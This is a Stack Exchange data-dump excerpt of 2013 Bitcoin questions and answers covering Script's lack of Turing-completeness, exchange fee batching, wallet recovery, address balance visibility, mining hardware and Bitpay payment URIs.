  <row Id="17258" PostTypeId="1" AcceptedAnswerId="17264" CreationDate="2013-11-25T14:57:53.267" Score="11" ViewCount="1356" Body="&lt;p&gt;For me, scripts are one of the most interesting features of Bitcoin. They provide possibilities which have no equivalent in classical currencies. However, the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot;&gt;wiki&lt;/a&gt; states&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is purposefully not Turing-complete, with no loops.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What's the rationale behind this decision?&lt;/li&gt;&#xA;&lt;li&gt;Are there any proposals for useful contracts which would only be possible in a Turing complete script implementation?&lt;/li&gt;&#xA;&lt;li&gt;Are there any alternative crypto currencies with Turing complete scripts? If so, how do they solve the problems from 1?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9175" LastEditorUserId="121614" LastEditDate="2022-06-04T16:26:47.453" LastActivityDate="2022-06-04T16:26:47.453" Title="Turing completeness of Bitcoin Script" Tags="|transactions|script|development|alternatives|turing-completeness|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17259" PostTypeId="2" ParentId="16727" CreationDate="2013-11-25T15:13:48.693" Score="0" Body="&lt;p&gt;There are currently no set rulings about gambling with crypto-currencies. It's kind of a gray area for now.&lt;/p&gt;&#xA;" OwnerUserId="6276" LastActivityDate="2013-11-25T15:13:48.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17261" PostTypeId="2" ParentId="17199" CreationDate="2013-11-25T15:54:46.237" Score="1" Body="&lt;p&gt;You would hit the heat death of the universe before you came anywhere close to generating even a single already used key pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't understand the math in the key pair generation you should take that as an indicator of the uncertain ground on which you tread.&lt;/p&gt;&#xA;" OwnerUserId="8735" LastActivityDate="2013-11-25T15:54:46.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17263" PostTypeId="2" ParentId="17250" CreationDate="2013-11-25T16:40:34.203" Score="5" Body="&lt;p&gt;This is a possible issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently we have a block limit in size of 1Mb although many pools send out 250Kb to make their block propagate faster to avoid orphaned blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gives us a cap of 7 transactions per second, data usage of 6Mb per hour or 144Mb a day, almost negligible amount of bandwidth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visa on average handles 2000 per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So looking at 285 times the amount of transaction is using 40Gb per day in bandwidth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most home ADSL2 lines can handle this now. &lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-25T16:40:34.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17264" PostTypeId="2" ParentId="17258" CreationDate="2013-11-25T16:43:45.207" Score="11" Body="&lt;p&gt;If scripts were Turing-complete, you could construct a fairly short script that took an extremely long time to run (a la the &lt;a href=&quot;http://en.wikipedia.org/wiki/Busy_beaver&quot;&gt;Busy Beaver&lt;/a&gt;) or contained an infinite loop.  This would tend to result in a denial of service against everyone on the network, when they tried to verify the transaction.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there would be no general way to tell whether a script would loop infinitely or would eventually finish: that's the &lt;a href=&quot;http://en.wikipedia.org/wiki/Halting_problem&quot;&gt;halting problem&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could try to avoid this by including some sort of cutoff on how long a client will spend verifying a transaction, but it would have to be done very carefully so as to be consistent across all clients: if some accept it and others don't, the block chain will fork. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems simpler to avoid the situation all together.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="9340" LastEditDate="2013-11-25T21:29:19.250" LastActivityDate="2013-11-25T21:29:19.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17265" PostTypeId="2" ParentId="4937" CreationDate="2013-11-25T19:03:49.717" Score="0" Body="&lt;p&gt;You can find some brokers which allow leveraged BTC/USD trading &lt;a href=&quot;http://forexreviewjournal.com/bitcoin-trading-review-platforms-robots-strategies&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you're aware of the risks involved in such investment as bitcoin value became extremely volatile lately and the leverage makes it even more dangerous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also don't forget to examine the broker's security system. As mentioned above, bitcoin marketplaces are hackers favorite target nowadays.&lt;/p&gt;&#xA;" OwnerUserId="9332" LastActivityDate="2013-11-25T19:03:49.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17267" PostTypeId="2" ParentId="17252" CreationDate="2013-11-25T19:08:09.877" Score="4" Body="&lt;p&gt;Yeah it's called &lt;a href=&quot;http://buttercoin.com/#/&quot; rel=&quot;nofollow&quot;&gt;buttercoin&lt;/a&gt; here is their &lt;a href=&quot;https://github.com/buttercoin/buttercoin&quot; rel=&quot;nofollow&quot;&gt;code&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-25T19:08:09.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17268" PostTypeId="1" CreationDate="2013-11-25T19:26:41.490" Score="0" ViewCount="257" Body="&lt;p&gt;I am just curious if when a transaction is sent and you view it on the blockchain. Is any of that information impossible to predict what it will be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking at perhaps the time received ? (you may be able to guess close but maybe not down to the second?) or the relayed by ip?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that make sense? I am guessing not since according to: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/8107/are-transaction-hashes-random&quot;&gt;Are transaction hashes random?&lt;/a&gt; the transaction hash is not random, but still want to clarify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Likewise, looking at the coinbase api:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GET https://coinbase.com/api/v1/transactions/5018f833f8182b129c00002f&#xA;&#xA;# Response&#xA;{&#xA;&quot;transaction&quot;: {&#xA;&quot;id&quot;: &quot;5018f833f8182b129c00002f&quot;,&#xA;&quot;created_at&quot;: &quot;2012-08-01T02:34:43-07:00&quot;,&#xA;&quot;amount&quot;: {&#xA;  &quot;amount&quot;: &quot;-1.10000000&quot;,&#xA;  &quot;currency&quot;: &quot;BTC&quot;&#xA;},&#xA;&quot;request&quot;: true,&#xA;&quot;status&quot;: &quot;pending&quot;,&#xA;&quot;sender&quot;: {&#xA;  &quot;id&quot;: &quot;5011f33df8182b142400000e&quot;,&#xA;  &quot;name&quot;: &quot;User Two&quot;,&#xA;  &quot;email&quot;: &quot;user2@example.com&quot;&#xA;},&#xA;&quot;recipient&quot;: {&#xA;  &quot;id&quot;: &quot;5011f33df8182b142400000a&quot;,&#xA;  &quot;name&quot;: &quot;User One&quot;,&#xA;  &quot;email&quot;: &quot;user1@example.com&quot;&#xA;}&#xA; }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could the 'created_at' time be considered random?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9235" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-12-27T00:33:56.637" Title="Is there any part of a bitcoin transaction that is 'random' or could not be predicted?" Tags="|transactions|blockchain|api|block|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17269" PostTypeId="2" ParentId="16963" CreationDate="2013-11-25T19:31:44.280" Score="2" Body="&lt;p&gt;In Windows 7 download and install Altap Salamander 2.54 (Google for it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's file manager (you can use any other file manager as well)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press Ctrl and key F to bring search window&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then set all options exactly as in this screen: &lt;a href=&quot;http://s21.postimg.org/5qdx5cb1j/search.png&quot; rel=&quot;nofollow&quot;&gt;http://s21.postimg.org/5qdx5cb1j/search.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Containing field enter: name&quot;1 (each wallet has this text inside) and then click: Find Now&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes a while to search entire disc C:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To speed up the process You can setup also Advanced options - see this screen: &lt;a href=&quot;http://s21.postimg.org/xzb01t1wn/advanced.png&quot; rel=&quot;nofollow&quot;&gt;http://s21.postimg.org/xzb01t1wn/advanced.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I presume that Your wallet size is from 30KB to 10MB. If not change second value)&lt;/p&gt;&#xA;" OwnerUserId="9334" LastEditorUserId="5406" LastEditDate="2013-11-26T00:40:09.970" LastActivityDate="2013-11-26T00:40:09.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17271" PostTypeId="1" AcceptedAnswerId="17282" CreationDate="2013-11-25T20:55:41.487" Score="3" ViewCount="670" Body="&lt;p&gt;Some exchanges and services (e.g. CoinBase, Bitstamp) pay for the transaction fees for their customers when the customers send bitcoins from their wallet/account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They might have tens of thousands of transactions going out of customers wallets everyday. The 0.0001btc fees might add up really quickly and become a large cost to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they making transactions wait so that they can send to many at once? If they have enough transactions going out this might work as the customer won't feel a few seconds of delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or do they create a unique transaction for each? If so, how can they afford it?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="3364" LastEditDate="2013-11-25T22:51:10.717" LastActivityDate="2014-07-26T12:37:32.613" Title="How can some exchanges/services afford to pay for customers transaction fees?" Tags="|transaction-fees|e-wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17272" PostTypeId="2" ParentId="17256" CreationDate="2013-11-25T21:17:08.677" Score="1" Body="&lt;p&gt;Find Windows PC (friends, work, family)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install fresh bitcoin-qt for Windows and run it once and then quit&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open folder: %UserProfile%\AppData\Roaming\Bitcoin\ and replace wallet.dat file from Your Mac (overwrite)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open bitcoin-qt again and if it start OK generate private key: Help &gt; Debug window &gt; Console &gt; dumpprivkey your_wallet_address&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9343" LastEditorUserId="5406" LastEditDate="2013-11-25T23:27:59.117" LastActivityDate="2013-11-25T23:27:59.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17273" PostTypeId="1" AcceptedAnswerId="17288" CreationDate="2013-11-25T21:24:21.103" Score="1" ViewCount="922" Body="&lt;p&gt;I need to know the exact dimensions of Backplane (&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B00GPUDBSM&quot; rel=&quot;nofollow&quot;&gt;http://www.amazon.com/ASICMiner-Block-Erupter-Blade-Backplane/dp/B00GPUDBSM&lt;/a&gt;), both it's height, length and width. If you have one of these mining rigs fully loaded what I really need is the total dimensions of that entire setup.&lt;/p&gt;&#xA;" OwnerUserId="9344" LastEditorUserId="5406" LastEditDate="2016-02-12T16:14:19.940" LastActivityDate="2016-02-12T16:14:19.940" Title="ASICMINER Blade Erupter Backplane Dimensions" Tags="|mining-hardware|asicminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17276" PostTypeId="1" AcceptedAnswerId="17277" CreationDate="2013-11-25T21:46:45.757" Score="1" ViewCount="341" Body="&lt;p&gt;If you know someones BTC address, can you also find out what their balance is? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it also apply for the transaction history for that address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mainly asking because I want to know if it's possible for me write a script that can do this. &lt;/p&gt;&#xA;" OwnerUserId="9105" LastActivityDate="2013-11-26T00:34:46.763" Title="Are balances for an address visible?" Tags="|address|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17277" PostTypeId="2" ParentId="17276" CreationDate="2013-11-25T22:05:09.897" Score="3" Body="&lt;p&gt;Yes.  All Bitcoin transactions are recorded in the public blockchain, and this gives you sufficient information to compute the balance of any address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sites such as blockchain.info and blockexplorer.com will conveniently show you such info, as well as complete transaction history for an address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address/13PWYdQ1bAFFkzgcfA4avzSp8iaPzUD7CE&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/13PWYdQ1bAFFkzgcfA4avzSp8iaPzUD7CE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/address/1NVdrDdS52R4Tb8w9tKnTaVk1WxkVSEh6Z&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/address/1NVdrDdS52R4Tb8w9tKnTaVk1WxkVSEh6Z&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2013-11-25T22:05:09.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17278" PostTypeId="1" CreationDate="2013-11-25T22:07:55.027" Score="0" ViewCount="194" Body="&lt;p&gt;i'm still running the qt 0.63, wich has a problem syncing to the network. It gains about 1% a day.. bitcoins that have been sent my way cannot yet be seen in my account. is it safe to make a back-up now and uninstall the qt client, and then reinstalling a newer version or a different wallet? Can i just copy-paste my wallet.dat after that?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="9346" LastEditorUserId="516" LastEditDate="2017-10-30T07:42:23.160" LastActivityDate="2018-02-02T09:05:24.273" Title="I have a problem syncing my wallet" Tags="|bitcoin-core|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17279" PostTypeId="1" CreationDate="2013-11-25T22:27:34.717" Score="2" ViewCount="1191" Body="&lt;p&gt;I would like to do some analysis of Bitcoin transactions in the last 3 months and share my insights by preparing an infographic. What would be the best way to get all Bitcoin transactions in the past 3 months?&lt;/p&gt;&#xA;" OwnerUserId="9347" LastActivityDate="2013-11-26T11:15:09.873" Title="I'm making an infographic on Bitcoin. How can I download all Bitcoin transactions to do some analysis?" Tags="|blockchain|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17280" PostTypeId="2" ParentId="17271" CreationDate="2013-11-25T22:29:52.137" Score="0" Body="&lt;p&gt;Coinbase charges a 1% fee every time someone uses them to buy and sell bitcoins.  This adds up to a large profit.  They use some of this profit to pay the transaction fees for their customers and still have a lot left over.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-25T22:29:52.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17281" PostTypeId="2" ParentId="17278" CreationDate="2013-11-25T22:31:24.957" Score="5" Body="&lt;p&gt;You should be able to just upgrade your bitcoin-qt.  Your wallet.dat file can just stay in place.  Back it up just to be safe but you shouldn't have any need to use the backup just because you are upgrading.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-25T22:31:24.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17282" PostTypeId="2" ParentId="17271" CreationDate="2013-11-25T22:40:32.187" Score="2" Body="&lt;p&gt;They can avoid the fees in two ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, they can choose to batch multiple small transactions together into a single transaction with multiple outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, since they have a large pool of bitcoins, they can more easily form transactions that &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;qualify to be free transactions&lt;/a&gt;, for payouts over 0.01 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most efficient way to form these free transactions would be to make a transaction that's nearly 1000 bytes, and is sent from inputs that destroy 4 &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow&quot;&gt;Bitcoin days&lt;/a&gt; (e.g. a 4-day old 1 BTC input, or 2-day old 2 BTC input). This will ensure that it meets the priority requirements.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="12034" LastEditDate="2014-07-26T12:37:32.613" LastActivityDate="2014-07-26T12:37:32.613" CommentCount="3" CommunityOwnedDate="2013-11-25T22:40:32.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="17283" PostTypeId="1" CreationDate="2013-11-25T23:20:12.843" Score="-2" ViewCount="462" Body="&lt;p&gt;I am new to bitcoin. I have some fundamental questions.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If bitcoin does not have any centralized entity controlling it, who provides the infrastructure for the trades to happen? Does this has something to do with mining?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another issue comes to mind is, in case if full anonymity of bitcoin transactions, how can someone create trust between merchant and customer. For example, if I order something online using BTC and don't receive the goods, how can I make sure I will get justice in terms of refund etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8930" LastEditorUserId="5406" LastEditDate="2016-02-12T16:10:42.693" LastActivityDate="2016-02-12T16:10:42.693" Title="Who provides the computers and infrastructure for bitcoin transactions to happen?" Tags="|network|mining-theory|trust|escrow|" AnswerCount="2" CommentCount="2" ClosedDate="2013-11-28T22:12:26.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="17285" PostTypeId="2" ParentId="17283" CreationDate="2013-11-25T23:38:57.327" Score="1" Body="&lt;p&gt;1.) Yes, when mining each block validates all of the transactions that have occurred since the last block.  This is also where transaction fees go, if you choose to include one the device that mines the next block will earn it in addition to the set reward for that block.&lt;br&gt;&#xA;2.) There is not full anonymity between Bitcoin transactions, there is pseudo-anonymity which means that transactions can really be traced and a person can be tied to coins that they own if/when they are spent because the address that contains the coins becomes an input for the next transaction.  The anonymity is pseudo because one person can control any number of addresses which only makes analysis harder but not impossible.  When it comes to trusting a merchant I would say that you should use the same rules as you would when you enter your credit card information into a website.  Ensure that sensitive personal information (shipping addresses, phone numbers, etc) is encrypted using SSL, that there is a valid contact for customer support etc, perhaps perform a whois on the site and see if the owner has public contact information.  Most of all look for reviews and references of other customers experiences.  This may be harder to do with some Bitcoin start ups but the &lt;a href=&quot;https://bitcointalk.org/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin talk&lt;/a&gt; forums often has information on businesses that are involved in the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due diligence is the key to avoiding scams in the Bitcoin world.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-11-25T23:38:57.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17286" PostTypeId="2" ParentId="17279" CreationDate="2013-11-25T23:49:27.777" Score="0" Body="&lt;p&gt;You probably want to look at historic data for Mt Gox if you are looking to correlate pricing data, which is available from their public API.  There is a function that returns all of the transactions that have occurred since a particular timestamp.  Other exchanges may or may not expose historical data. Otherwise you need to perform blockchain analysis using blockexplorer.info or &lt;a href=&quot;https://github.com/bitcoin-abe/bitcoin-abe&quot; rel=&quot;nofollow&quot;&gt;ABE&lt;/a&gt; if you have a local copy of the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-11-25T23:49:27.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17288" PostTypeId="2" ParentId="17273" CreationDate="2013-11-26T00:07:01.643" Score="1" Body="&lt;p&gt;The dimensions are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hasher size: 233mm x 116mm with a 227mm x 100mm x 19mm heat sink attached to its back&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Power module size: 192mm x 89mm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ethernet controller size: 86mm x 40mm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=204030.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=204030.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-11-26T00:07:01.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17289" PostTypeId="2" ParentId="17283" CreationDate="2013-11-26T00:10:15.950" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If bitcoin does not have any centralized entity controlling it, who provides the infrastructure for the trades to happen? Does this has something to do with mining?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Whoever wants to do something provides the infrastructure to do it. If you want to perform a transaction, you have to provide enough infrastructure to perform a transaction or use someone else's infrastructure. Miners provide the infrastructure to confirm transactions in exchange for the block rewards and transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Another issue comes to mind is, in case if full anonymity of bitcoin transactions, how can someone create trust between merchant and customer. For example, if I order something online using BTC and don't receive the goods, how can I make sure I will get justice in terms of refund etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The same way you do with other currencies -- you pay through a provider that provides this service or you only make payments to people you trust. There are any number of Bitcoin escrow services.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-11-26T00:10:15.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17290" PostTypeId="2" ParentId="17215" CreationDate="2013-11-26T00:10:40.290" Score="1" Body="&lt;p&gt;Needs to be plugged it to the USB looks like.&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2013-11-26T00:10:40.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17291" PostTypeId="2" ParentId="17268" CreationDate="2013-11-26T00:12:24.677" Score="0" Body="&lt;p&gt;It depends how the transaction is formed. Typically, the signature is random and unpredictable, but nothing stops someone from using a wholly deterministic algorithm. The time received is not part of a transaction -- how could it be?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-11-26T00:55:26.157" LastActivityDate="2013-11-26T00:55:26.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17294" PostTypeId="2" ParentId="17276" CreationDate="2013-11-26T00:34:46.763" Score="1" Body="&lt;p&gt;You may know someones address but there is no limit on how many addresses someone uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So someone could actually use 1000s of addresses, even a single one for every transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as long, as you are not knowing EVERY address someone EVER used you will not be able to gather his total balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But yes, you may be able to gather the balance of ONE address.&lt;/p&gt;&#xA;" OwnerUserId="9357" LastActivityDate="2013-11-26T00:34:46.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17295" PostTypeId="2" ParentId="17215" CreationDate="2013-11-26T00:39:03.867" Score="0" Body="&lt;p&gt;The ASIC does nothing on its own - it is just hardware without any logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to plug it into USB and run a mining software (like cgminer) on the PC where the ASIC is connected to via USB.&lt;/p&gt;&#xA;" OwnerUserId="9357" LastActivityDate="2013-11-26T00:39:03.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17296" PostTypeId="1" CreationDate="2013-11-26T00:49:59.197" Score="2" ViewCount="13058" Body="&lt;p&gt;I bought bitcoins about a year half ago and my hard drive broke and i managed to recover them using a recovery tool that found wallet.dat from a deleted wallet on another hard drive but its courrped and wont work at all. i tired something to do wtih python dbdump.py --wallet but it failed, is there anything i can do any help would be great.The wallet.dat is only 112kb i dont know if that matters.&lt;/p&gt;&#xA;" OwnerUserId="9358" LastActivityDate="2018-05-24T11:45:40.883" Title="Wallet.dat Corrupted help please?" Tags="|wallet|wallet.dat|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17297" PostTypeId="1" CreationDate="2013-11-26T00:52:50.567" Score="1" ViewCount="603" Body="&lt;p&gt;I've just started mining primecoin over my hp proliant dl380 g5 server with e5420.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm using ypool.net as the pool and using their latest software: jhPrimeminer_RdBBeta4.0F2_x64.zip&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I check the site stats I see i get a value of 0.0514 share/h. Is this all good or am I having poor performance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I'm new to primecoin, having difficulties to understand it.&lt;/p&gt;&#xA;" OwnerUserId="8899" LastActivityDate="2013-11-26T00:52:50.567" Title="Please help me understand primecoin mining performance" Tags="|primecoin|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T21:06:45.910" ContentLicense="CC BY-SA 3.0" />
  <row Id="17298" PostTypeId="2" ParentId="17296" CreationDate="2013-11-26T01:06:11.683" Score="2" Body="&lt;p&gt;You can attempt to launch the client via the command line and add the -salvagewallet option this attempts to recover and dump the private keys from the wallet.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-11-26T01:06:11.683" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17299" PostTypeId="1" AcceptedAnswerId="17300" CreationDate="2013-11-26T01:20:23.847" Score="2" ViewCount="1982" Body="&lt;p&gt;I'm trying to develop an app which integrates with the Bitpay API.&#xA;I managed to create an invoice which contains the URL in which to pay with Bitcoins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MQl9g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is when I click on the Pay with Bitcoin button it redirects me to an address similar to this one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?amount=0.0012&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this really how its supposed to work? How do I actually pay and complete the transaction? Can you walk me through the process of paying via Bitpay?&#xA;Please enlighten me, thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7086" LastActivityDate="2013-11-26T01:23:57.120" Title="How to pay via Bitpay" Tags="|bitpay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17300" PostTypeId="2" ParentId="17299" CreationDate="2013-11-26T01:23:57.120" Score="2" Body="&lt;p&gt;Yes this is expected behavior, it will be handled by applications that register the bitcoin URI, particularly this is prevalent in mobile clients.  Here is a couple links with more information on this topic:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=187597.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=187597.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://electrum.org/bitcoin_URIs.html&quot; rel=&quot;nofollow&quot;&gt;http://electrum.org/bitcoin_URIs.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-11-26T01:23:57.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17303" PostTypeId="2" ParentId="14195" CreationDate="2013-11-26T02:12:09.883" Score="0" Body="&lt;p&gt;Coinbase did cancel my order a while ago. However I emailed them, verified my identity and they sold me the bitcoins at the price I originally bought them at. Great company, I am continuing to buy bitcoins from them. Keep in mind Coinbase provides a service almost no one else is willing to provide due to the ease with which people can scam such a business out of bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="8754" LastActivityDate="2013-11-26T02:12:09.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
